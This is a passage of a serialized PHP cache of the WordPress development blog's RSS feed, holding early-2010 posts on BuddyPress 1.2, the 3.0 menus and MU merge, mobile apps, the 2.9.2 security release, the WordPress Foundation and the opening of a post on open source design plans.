\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:36:"http://wellformedweb.org/CommentAPI/";a:1:{s:10:"commentRss";a:1:{i:0;a:5:{s:4:"data";s:63:"http://wordpress.org/development/2010/03/firefox-personas/feed/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:38:"http://purl.org/rss/1.0/modules/slash/";a:1:{s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:1:"0";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:1;a:6:{s:4:"data";s:53:"\n \n \n \n \n \n \n \n \n \n \n\n \n \n \n \n \n ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:5:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:29:"BuddyPress for One (and All!)";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:70:"http://wordpress.org/development/2010/02/buddypress-for-one-and-all-3/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:79:"http://wordpress.org/development/2010/02/buddypress-for-one-and-all-3/#comments";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 26 Feb 2010 20:25:30 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:5:{i:0;a:5:{s:4:"data";s:7:"Cousins";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:1;a:5:{s:4:"data";s:10:"buddypress";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:2;a:5:{s:4:"data";s:7:"plugins";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:3;a:5:{s:4:"data";s:17:"social networking";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:4;a:5:{s:4:"data";s:6:"themes";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://wordpress.org/development/?p=1224";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:329:"Back in April of last year, Matt posted here on the dev blog about the release of BuddyPress 1.0, a plugin that adds a social networking layer to an installation of WordPress MU. Many people were excited about the idea, but were unable to experiment with BuddyPress because they ran single installations of WordPress rather [...]";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:10:"Jane Wells";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:40:"http://purl.org/rss/1.0/modules/content/";a:1:{s:7:"encoded";a:1:{i:0;a:5:{s:4:"data";s:2324:"

Back in April of last year, Matt posted here on the dev blog about the release of BuddyPress 1.0, a plugin that adds a social networking layer to an installation of WordPress MU. Many people were excited about the idea, but were unable to experiment with BuddyPress because they ran single installations of WordPress rather than the multi-site WordPress MU. To those people, good news! A little over a week ago Andy Peatling, founder and lead developer of BuddyPress, announced the release of BuddyPress 1.2, which can be used on single installations of WordPress. Congratulations, BuddyPress! And congratulations to all the people who’ve been waiting with bated breath for this to happen.

\n

The first thing I thought when I heard the news was, “Awesome! Now everyone can put BuddyPress on their site if they want it.” The second thought I had was, “Shoot! Average WordPress users won’t want to try BuddyPress if they have to switch their site themes over to the BuddyPress default theme just to try it out.” The third thought I had was, “That can’t be right. I’ll ask Andy.”

\n

As it turned out, you could keep your current theme with BuddyPress if you added a couple of files and made a few file edits. There was even a link on the BuddyPress site to download the necessary files. That still seemed a little clunky, though, so Andy, super awesome guy that he is, went ahead and made a plugin to get you started. The BuddyPress Template Pack can be installed directly from your WordPress admin (Plugins > Add New), and will walk you through the theme additions step by step.*

\n

Now you can use BuddyPress with your single site installation of WordPress, and you can keep your existing theme. Seriously, could BuddyPress have made it any easier for you to add social networking to your site? I know I can’t wait to try it out this weekend, how about you?

\n

* Don’t forget to install BuddyPress itself, or the template pack plugin won’t do anything!

\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:36:"http://wellformedweb.org/CommentAPI/";a:1:{s:10:"commentRss";a:1:{i:0;a:5:{s:4:"data";s:75:"http://wordpress.org/development/2010/02/buddypress-for-one-and-all-3/feed/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:38:"http://purl.org/rss/1.0/modules/slash/";a:1:{s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:1:"0";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:2;a:6:{s:4:"data";s:53:"\n \n \n \n \n \n \n \n \n \n \n\n \n \n \n \n \n ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:5:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:37:"Menus, the Merge, and a Patch Sprint!";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:66:"http://wordpress.org/development/2010/02/menus-merge-patch-sprint/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:75:"http://wordpress.org/development/2010/02/menus-merge-patch-sprint/#comments";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 23 Feb 2010 19:56:10 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:5:{i:0;a:5:{s:4:"data";s:11:"Development";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:1;a:5:{s:4:"data";s:6:"freeze";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:2;a:5:{s:4:"data";s:5:"menus";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:3;a:5:{s:4:"data";s:5:"merge";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:4;a:5:{s:4:"data";s:10:"navigation";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://wordpress.org/development/?p=1201";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:350:"A Report from the 3.0 Development Cycle\nMenus\nThere’s been a flurry of blog posts about the integration of the WooThemes Custom Navigation into WordPress core, so I thought it was time we posted the official word. For 3.0, the main user-facing feature we wanted to include was a better site menu management system. Currently, dealing with [...]";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:10:"Jane Wells";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:40:"http://purl.org/rss/1.0/modules/content/";a:1:{s:7:"encoded";a:1:{i:0;a:5:{s:4:"data";s:4265:"

A Report from the 3.0 Development Cycle

\n

Menus

\n

There’s been a flurry of blog posts about the integration of the WooThemes Custom Navigation into WordPress core, so I thought it was time we posted the official word. For 3.0, the main user-facing feature we wanted to include was a better site menu management system. Currently, dealing with menus is clunky, using Page IDs or in some cases categories, if a theme uses categories instead of pages for the menu. We wanted a menu system that had the drag and drop ease of the widget management screen, could combine Pages, Categories, and Links, was able to be re-ordered, allowed submenus, and enabled hiding specific Pages or Categories from the menu altogether. We were in the process of building this when WooThemes introduced their Custom Navigation system. Watching their introductory video, it seemed that their system did pretty much everything we wanted to do for core, so we reached out to them about contributing to core.

\n

As you’ve probably heard, it worked out, and the first patch has been submitted. It does require some code modification, which is happening now. The decision to incorporate the Woo menus happened right before our planned feature freeze for the 3.0 development cycle, so we pushed our freeze date back by two weeks to allow the addition. We’re now targeting the 3.0 release for early May, and we think it will be worth the extra two-week wait.

\n

I’m personally really happy that it worked out this way, because I think it will show commercial theme and plugin authors that contributing to core is a win-win proposition. More people can contribute to and improve the basic functional code now, while WooThemes can continue to innovate on top of it for their customers. They get massive bragging rights (which I have no doubt will lead to even more customers), core gets a nice menu system without having to reinvent the wheel, and WordPress users all over the world will benefit. I’m hoping other plugin and theme developers will take a cue from Woo and look at core as a place for collaboration, rather than competition.

\n

The Merge

\n

It was announced at WordCamp San Francisco last year that WordPress and WordPress MU would be merging codebases. This has now happened in 3.0-alpha, and we’re working on smashing bugs and tidying up a few screens. If you’re currently using a single install of WordPress, when you upgrade to 3.0 you won’t see any of the extra screens associated with running a network of sites. If you’re currently running MU, when you upgrade you’ll notice a few labels changing, but upgrading should be as painless as usual. If you’re going to set up a new WordPress installation, you’ll be asked as part of the setup if you want one site or multiple sites, so that’s pretty simple. If you want to turn your single install into one that supports multiple sites, we’ll have a tool for you to use to do that, too. So if you’ve been worried about the merge, have a cup of chamomile tea and relax; it will all be fine.

\n

Patch Sprint!

\n

Okay, so where are we now? The new feature freeze date is on Monday, March 1, 2010. That means that after that date, no more enhancements or features will be added, and we’ll switch gears to focus solely on crushing bugs and fixing up the features that have already made it in. That means we only have a week to try and finish up the many Trac tickets on the 3.0 milestone that either need a patch or have a patch that needs testing. You can help! From now until noon eastern time on March 1 (that’s 17:00 UTC on March 1), head on over to Trac and pitch in. If you hit a wall, hop into the core development channel at #wordpress-dev on irc.freenode.net and hopefully one of the friendly core contributors can give you a push.

\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:36:"http://wellformedweb.org/CommentAPI/";a:1:{s:10:"commentRss";a:1:{i:0;a:5:{s:4:"data";s:71:"http://wordpress.org/development/2010/02/menus-merge-patch-sprint/feed/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:38:"http://purl.org/rss/1.0/modules/slash/";a:1:{s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:1:"7";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:3;a:6:{s:4:"data";s:56:"\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n \n \n ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:5:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:19:"WordPress On The Go";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:61:"http://wordpress.org/development/2010/02/wordpress-on-the-go/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:70:"http://wordpress.org/development/2010/02/wordpress-on-the-go/#comments";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 17 Feb 2010 16:54:53 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:6:{i:0;a:5:{s:4:"data";s:11:"Development";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:1;a:5:{s:4:"data";s:7:"android";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:2;a:5:{s:4:"data";s:10:"blackberry";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:3;a:5:{s:4:"data";s:6:"iphone";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:4;a:5:{s:4:"data";s:6:"mobile";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:5;a:5:{s:4:"data";s:5:"nokia";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://wordpress.org/development/?p=1187";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:294:"I like to moderate comments when I’m waiting for something: a checkout clerk to help me, the dentist to call me back to the office, a soy chai to be made. I don’t lug my laptop everywhere I go,* so I love it that we have mobile apps that make this possible. I don’t know [...]";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:10:"Jane Wells";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:40:"http://purl.org/rss/1.0/modules/content/";a:1:{s:7:"encoded";a:1:{i:0;a:5:{s:4:"data";s:4358:"

I like to moderate comments when I’m waiting for something: a checkout clerk to help me, the dentist to call me back to the office, a soy chai to be made. I don’t lug my laptop everywhere I go,* so I love it that we have mobile apps that make this possible. I don’t know of any other blogging platform that has mobile apps for iPhone, Android and Blackberry. Do you?

\n

The iPhone app is up to version 2.2 (note that iPhone app version numbers do not correlate to WordPress core versions, due to separate dev cycles), while the Android and Blackberry apps are brand new. You can write posts (save drafts or publish right away), moderate comments, blog photos from your phone (and video on Blackberry!**), and more. Check out the glory that is mobile WordPress in the image below:

\n

Screenshot of WordPress mobile apps

\n

“But what about my Nokia,” you ask? Raanan Bar-Cohen, who oversees the mobile projects, recently announced:

\n

“We are very excited to share with all of you that in the coming weeks we’ll be opening up a beta test for the official Open Source WordPress for Nokia app. For developers who are interested in getting involved, we just opened up a dev blog with details, links to the source code and trac tickets, and an early alpha build. We’ll be leveraging the Qt framework which means will be able to support both the S60 and Maemo platforms.”

\n

W00t!

\n

Getting Involved

\n

All of these mobile WordPress apps are free and open source. They are developed in the same manner as WordPress core, which means anyone can contribute! If you’ve got some mad mobile development skills and want to get involved, a) you’re awesome, and b) here are a bunch of useful links.

\n

Development Blogs: Android | BlackBerry | iPhone

\n

Development Tracs: Android | Blackberry | iPhone

\n

Feedback Forums: Android | BlackBerry | iPhone

\n

Language Support: WordPress users come from all over the world. The mobile apps here are available in multiple languages but need volunteers to enable even more people to use them. If you’re interested in helping localize these mobile apps, you can get involved by emailing the translation team. They’ll send you instructions on how to translate.

\n

Getting the Apps

\n

So go for it — download the app for your platform of choice and soon you, too, can be live posting about how slow the cashier is while you wait for him to ring you up!

\n

\n

* Okay, yes, I do bring my laptop everywhere, but I leave it in the bag on these occasions.

\n

** Video support should  be coming soon to the iPhone and Android apps.

\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:36:"http://wellformedweb.org/CommentAPI/";a:1:{s:10:"commentRss";a:1:{i:0;a:5:{s:4:"data";s:66:"http://wordpress.org/development/2010/02/wordpress-on-the-go/feed/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:38:"http://purl.org/rss/1.0/modules/slash/";a:1:{s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:1:"1";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:4;a:6:{s:4:"data";s:41:"\n \n \n \n \n \n \n\n \n \n \n \n \n ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:5:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:15:"WordPress 2.9.2";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:57:"http://wordpress.org/development/2010/02/wordpress-2-9-2/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:66:"http://wordpress.org/development/2010/02/wordpress-2-9-2/#comments";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 15 Feb 2010 17:37:08 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:1:{i:0;a:5:{s:4:"data";s:8:"Releases";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://wordpress.org/development/?p=1182";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:298:"Thomas Mackenzie alerted us to a problem where logged in users can peek at trashed posts belonging to other authors. If you have untrusted users signed up on your blog and sensitive posts in the trash, you should upgrade to 2.9.2.  As always, you can visit the Tools->Upgrade menu to upgrade.\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:10:"Ryan Boren";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:40:"http://purl.org/rss/1.0/modules/content/";a:1:{s:7:"encoded";a:1:{i:0;a:5:{s:4:"data";s:388:"

Thomas Mackenzie alerted us to a problem where logged in users can peek at trashed posts belonging to other authors. If you have untrusted users signed up on your blog and sensitive posts in the trash, you should upgrade to 2.9.2.  As always, you can visit the Tools->Upgrade menu to upgrade.

\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:36:"http://wellformedweb.org/CommentAPI/";a:1:{s:10:"commentRss";a:1:{i:0;a:5:{s:4:"data";s:62:"http://wordpress.org/development/2010/02/wordpress-2-9-2/feed/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:38:"http://purl.org/rss/1.0/modules/slash/";a:1:{s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:1:"0";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:5;a:6:{s:4:"data";s:50:"\n \n \n \n \n \n \n \n \n \n\n \n \n \n \n \n ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:5:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:20:"WordPress Foundation";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:62:"http://wordpress.org/development/2010/01/wordpress-foundation/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:71:"http://wordpress.org/development/2010/01/wordpress-foundation/#comments";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 22 Jan 2010 05:38:09 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:4:{i:0;a:5:{s:4:"data";s:4:"Meta";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:1;a:5:{s:4:"data";s:7:"charity";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:2;a:5:{s:4:"data";s:10:"foundation";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:3;a:5:{s:4:"data";s:10:"non-profit";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://wordpress.org/development/?p=1179";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:314:"It is with extremely great pleasure that I point you to the first post at the new WordPress Foundation site. Not only am I excited about the things that will happen under the auspices of the Foundation, I’m excited to see a site running the 3.0 development version and the nascent theme called 2010. Go [...]";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:10:"Jane Wells";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:40:"http://purl.org/rss/1.0/modules/content/";a:1:{s:7:"encoded";a:1:{i:0;a:5:{s:4:"data";s:517:"

It is with extremely great pleasure that I point you to the first post at the new WordPress Foundation site. Not only am I excited about the things that will happen under the auspices of the Foundation, I’m excited to see a site running the 3.0 development version and the nascent theme called 2010. Go check it out for yourself.

\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:36:"http://wellformedweb.org/CommentAPI/";a:1:{s:10:"commentRss";a:1:{i:0;a:5:{s:4:"data";s:67:"http://wordpress.org/development/2010/01/wordpress-foundation/feed/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:38:"http://purl.org/rss/1.0/modules/slash/";a:1:{s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:1:"4";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:6;a:6:{s:4:"data";s:44:"\n \n \n \n \n \n \n \n\n \n \n \n \n \n ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:5:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:29:"2010 Open Source Design Plans";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:65:"http://wordpress.org/development/2010/01/2010-open-source-design/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:74:"http://wordpress.org/development/2010/01/2010-open-source-design/#comments";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 13 Jan 2010 20:38:57 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:2:{i:0;a:5:{s:4:"data";s:9:"Community";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:1;a:5:{s:4:"data";s:14:"User Interface";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://wordpress.org/development/?p=1154";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:332:"2010 is the year we dive into open source design. We’ve dipped our toes in this pool before (icon contest, graphic design component for Trac tickets, header refresh contest, etc.), but this year we’re going to cannonball and make a big splash. Here’s what you need to know if you want to get involved.\nA list [...]";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:10:"Jane Wells";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:40:"http://purl.org/rss/1.0/modules/content/";a:1:{s:7:"encoded";a:1:{i:0;a:5:{s:4:"data";s:3855:"

2010 is the year we dive into open source design. We’ve dipped our toes in this pool before (icon contest, graphic design component for Trac tickets, header refresh contest, etc.), but this year we’re going to cannonball and make a big splash. Here’s what you need to know if you want to get involved.

\n

A list for all seasons. Developers have the wp-hackers mailing list to discuss core and plugin code. Sometimes UI/UX stuff comes up and gets discussed there, but there is a whole universe of discussion around navigation labels, gradients, button styling, layouts, alignment, etc. that would be clutter on wp-hackers. Designers need a list to call their own, and now we have one. You can sign up for the wp-ui list to discuss ways to improve the interface or user experience of WordPress, and to discuss progress on design-related projects for the open source project, like the design challenges we’re going to have.

\n

